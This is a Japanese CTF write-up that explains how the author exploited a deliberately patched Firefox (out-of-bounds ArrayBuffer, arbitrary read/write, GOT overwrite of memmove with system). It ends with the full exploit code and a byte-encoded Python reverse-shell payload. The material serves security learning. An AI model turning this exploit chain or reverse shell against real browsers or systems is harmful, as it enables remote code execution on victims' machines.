はじめに
前回に引き続き、7月に開催されたHack the Box Business CTF 2022で出題された問題の解説をします。今回はMideniosというFirefox問の解説をしたいと思います。残念ながら競技時間内に解き終えることはできなかったのですが、Firefoxのpwn入門としてちょうどよい問題なのではないかと思います。
問題の概要
脆弱なパッチが適用されたFirefoxに対して、バグを突くようなJavaScriptプログラムを送り、対象マシン上の機密ファイルを模したフラグファイルを読むことができればゴールです。
通常、ブラウザ上で動くJavaScriptプログラムは自由にストレージのファイルにアクセスすることはできませんが、バグを使ってプロセスの制御を乗っ取ることができれば、そのプロセスの権限の範囲内でいろいろできるようになります。また、大抵の場合、JavaScriptプログラムを実行しているプロセスはサンドボックス機構による制限をかけられていて、プロセスを乗っ取ったとしてもできることは限られますが、今回の問題ではオフになっていたため、サンドボックスについては考慮しないものとします。
バグ
パッチを確認すると、ArrayBufferの長さを表すプロパティのbyteLengthに関係する部分にbyteLengthSetterという怪しい関数が追加されています。これによってbyteLengthに代入が可能になって、ArrayBufferのバッファの長さを変更できるようになっています。この機能でバッファの長さを変更しても実際に確保されたメモリ領域は変更前のままなので、長さを大きくすれば範囲外アクセスが可能です。
実際に範囲外アクセスができることを確かめるため、下図に示したように配列xと配列yを作り、y[0]に入れた0xc0ffeeという整数をxから読めることを確認します。
このコードを問題のFirefoxに読み込ませてみると下図のようにコンソールに22と表示されていて、本来xからアクセスできないはずのy[0]の値にx[22]からアクセスできたことがわかります。
ArrayBufferの構造
前述したバグを使ってアドレスなどの重要な情報を読み取ることを目指します。そのためにはまず、ArrayBufferがどのような構造になっていて、どんな情報が取れるのかを知る必要があります。Firefoxのソースコードを検索できるサービスとしてSearchfoxがあります。このサービスで調べるとArrayBufferのクラスの定義はArrayBufferObject.hに書かれていて、以下のようになっています。
https://searchfox.org/mozilla-central/source/js/src/vm/ArrayBufferObject.h#167
FirefoxのソースコードではArrayBufferのようなオブジェクトはC++のクラスとして定義されていますが、オブジェクトの持つプロパティはC++のクラスのメンバとしては書かれておらず、代わりにそのプロパティにアクセスするためのオフセットが書かれています。
次に、ArrayBufferを実際のメモリ上のデータとして見てみます。ArrayBufferを作り、0xc0ffeeを代入するコードと、その時にデバッガで見たメモリ上のオブジェクトbを以下に示します。
メモリ上のオブジェクトb:
メモリ上のデータを見ると、0xc0ffeeの位置からDATA_SLOTとFIRST_VIEW_SLOTの位置がわかります。DATA_SLOTにはバッファのアドレスが入り、FIRST_VIEW_SLOTにはこのArrayBufferObjectを使っているArrayBufferViewObjectのアドレスが入ります(今回の例ではオブジェクトyのアドレス)。図を見るとDATA_SLOTは0xc0ffeeの入ったアドレスを指していますが、FIRST_VIEW_SLOTは明らかにユーザ空間のアドレスではないです。FirefoxのJSエンジンのエクスプロイトについて書かれた記事を読むと、これはFirefoxにおけるJavaScriptの数値やポインタの内部表現によるもので、上位17bitはその数値の属性を表すタグとして使われています。
実際にデバッガでこのアドレスを見に行くと、オブジェクトyが見つかります。
メモリ上のオブジェクトy:
ArrayBufferViewObjectのソースコード:
https://searchfox.org/mozilla-central/source/js/src/vm/ArrayBufferViewObject.h#25
メモリ上のオブジェクトyとArrayBufferViewObjectのソースコードを見比べると、オブジェクトyのBUFFER_SLOTはオブジェクトbのアドレスを指していて、DATA_SLOTはバッファのアドレスを直接指しています。
問題ではArrayBufferから範囲外アクセスが可能なので、ArrayBufferを2つ作って、片方からもう一方のDATA_SLOTを書き換えることで任意アドレスの読み書きが実現できそうです。
ガベージコレクションによる罠
ArrayBufferObjectのDATA_SLOTを書き換えて他のオブジェクトの情報を読み取ることを考えます。試しに下図のコードでオブジェクトyにアクセスしてみます。
ところが、このコードを問題のFirefoxで実行するとタブがクラッシュします。
このときFirefoxを実行したLinuxのターミナルを確認すると、気になるログが出力されています。
Assertion failure: !cx->nursery().isInside(ptr), at /home/alec/firefox/mozilla-unified/js/src/vm/ArrayBufferViewObject.cpp:108 |
ソースコードでの該当部分を以下に示します。(バージョンの違いで少し行数がずれています)
https://searchfox.org/mozilla-central/source/js/src/vm/ArrayBufferViewObject.cpp#109
これはArrayBufferViewObjectのinitメソッドの一部で、該当部分のすぐ上のコメントも合わせて読むと、FirefoxのJSエンジンのメモリにはnurseryと呼ばれる領域があって、ArrayBufferViewObjectで使うバッファがnursery領域に入っているのはおかしいということのようです。
少し古いですが、FirefoxのGCについて書かれた記事がありました。これを読むと、FirefoxのJSエンジンは世代別GCを採用していて、nurseryとtenuredの大きく2つの領域があり、新しいオブジェクトはnursery領域に配置され、GCを生き残ったオブジェクトだけをnursery領域からtenured領域に移しているようです。
つまり、先程のクラッシュはDATA_SLOTに指定したオブジェクトyがnursery領域に配置されていたために起きたもので、GCを引き起こしてから操作を行えば、この問題を解決できそうです。
実際に先程のコードにGCを起こすコードを追記すると正常に実行できて、それらしいデータが取得できました。
任意コード実行
前節の内容を使えば任意アドレスの読み書きは実現できそうです。
任意アドレスの読み書きから任意コード実行につなげる手法は過去に出題された別のFirefox問の解法と解説記事を参考にします。この手法をまとめると以下のような手順になります。
- Uint8Arrayを作成し、実行したいコマンドの文字列を書き込む
- Firefoxの実行時に読み込まれる動的リンクライブラリlibxul.soのGOTにあるmemmoveへのポインタをsystemへのポインタに書き換える
- 作成したUint8ArrayのcopyWithinメソッドを呼び出す
仕組みとしては、copyWithinメソッドの内部でmemmoveが呼び出され、バッファを指すポインタが第1引数になるので、memmoveの代わりにsystemが呼び出されれば、任意のシェルコマンドが実行できるという仕組みになっています。
方針は決まったので、実装していきます。まずは任意アドレスの読み込みとlibxulのベースアドレスの特定を行います。任意アドレスの読み込みはArrayBufferObjectのDATA_SLOTの書き換えを使います。libxulのアドレスは下図のようにArrayBufferViewObjectの先頭8バイトのポインタをたどっていけば、libxulの領域を指すポインタがあるので、そこから計算することができます。
実装したコードと実行結果を以下に示します。
このときのlibxulのベースアドレスは以下のようになっていて、確かにlibxulのベースアドレスのリークに成功しています。
次にlibcのベースアドレスを特定します。libxulのGOTにはlibcの関数のアドレスがいくつか入っていて、memmoveもそのうちの一つです。つまり、libxulのGOTのmemmoveが入っている領域を読めばlibcのアドレスも分かります。先程までのコードに以下のようなコードを追記すればlibcのベースアドレスを求めることができます。
最後に、実行させるコマンド部分を考えます。今回のターゲットはサーバではなくクライアントなので、リバースシェルを張ります。対象のクライアントにはPythonがインストールされていることが確定していたので、Pythonでリバースシェルを張るプログラムを用意し、以下のように1バイトずつ整数にしてJavaScriptの配列に入れます。リバースシェルを張るPythonのプログラムはPayloads All The Thingsにあるものを使用しました。
以上のすべての操作を順番に行い、最後にmemmoveのGOTを書き換えてからcopyWithinを呼び出すと、127.0.0.1:12345にリバースシェルが張られます。
完成したエクスプロイトは以下のようになります。(このブログの制約で小なり記号を使えないため、HTMLのタグを省略し、コード内の条件分岐を書き換えてあります。)
var a = new ArrayBuffer(8);
var b = new ArrayBuffer(8);
a.byteLength = 1024;
var x = new BigInt64Array(a);
var y = new BigInt64Array(b);
y[0] = 0xc0ffeen;
var atob;
for (var i = 0; i != 1024; i++) {
if (x[i] == 0xc0ffeen) {
atob = i;
}
}
// trigger GC
for (var i = 0; i != 0x1000; i++) {
var tmp = {};
}
var default_buf = x[atob - 4];
var addr_y = x[atob - 2] & 0x7fffffffffffn;
function aar(addr) {
x[atob - 4] = addr;
var r = new BigInt64Array(b);
var res = r[0];
x[atob - 4] = default_buf;
return res;
}
function aaw(addr, val) {
x[atob - 4] = addr;
var w = new BigInt64Array(b);
w[0] = val;
x[atob - 4] = default_buf;
}
var libxul_leak = aar(aar(aar(addr_y)));
var libxul_base = libxul_leak - 0x7f5000565620n + 0x007f4ff3980000n;
console.log('addr_y', addr_y.toString(16));
console.log('libxul_base', libxul_base.toString(16));
var memmove_got = libxul_base + 0x00000ce5b880n;
var libc_memmove = aar(memmove_got);
var libc_base = libc_memmove - 0x007efc512e96e0n + 0x007efc5115e000n;
var libc_system = libc_base + 0x0000000000052290n;
console.log('libc_base', libc_base.toString(16));
// list(b"""python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'""")
var payload = [112, 121, 116, 104, 111, 110, 32, 45, 99, 32, 39, 105, 109, 112, 111, 114, 116, 32, 115, 111, 99, 107, 101, 116, 44, 111, 115, 44, 112, 116, 121, 59, 115, 61, 115, 111, 99, 107, 101, 116, 46, 115, 111, 99, 107, 101, 116, 40, 115, 111, 99, 107, 101, 116, 46, 65, 70, 95, 73, 78, 69, 84, 44, 115, 111, 99, 107, 101, 116, 46, 83, 79, 67, 75, 95, 83, 84, 82, 69, 65, 77, 41, 59, 115, 46, 99, 111, 110, 110, 101, 99, 116, 40, 40, 34, 49, 50, 55, 46, 48, 46, 48, 46, 49, 34, 44, 49, 50, 51, 52, 53, 41, 41, 59, 111, 115, 46, 100, 117, 112, 50, 40, 115, 46, 102, 105, 108, 101, 110, 111, 40, 41, 44, 48, 41, 59, 111, 115, 46, 100, 117, 112, 50, 40, 115, 46, 102, 105, 108, 101, 110, 111, 40, 41, 44, 49, 41, 59, 111, 115, 46, 100, 117, 112, 50, 40, 115, 46, 102, 105, 108, 101, 110, 111, 40, 41, 44, 50, 41, 59, 112, 116, 121, 46, 115, 112, 97, 119, 110, 40, 34, 47, 98, 105, 110, 47, 115, 104, 34, 41, 39];
var trigger = new Uint8Array(payload.length);
for (var i = 0; i != payload.length; i++) {
trigger[i] = payload[i];
}
aaw(memmove_got, libc_system);
trigger.copyWithin(0, 1);
実際にこのコードを問題のFirefoxに実行させ、リバースシェルのポートで待機しているとシェルが返ってきます。
おわりに
今回はHack the Box Business CTF 2022で出題されたFirefox問題について解説させていただきました。競技時間中はFirefoxのGCについて全く知らなかったので、タブがクラッシュする原因を突き止められないまま終わってしまいましたが、最後まで解いてみることで、いい勉強になりました。最近のCTFではカーネルやブラウザのpwnが出題されることも多く、このようなシステムソフトウェアの知識は今後より重要になっていくと思います。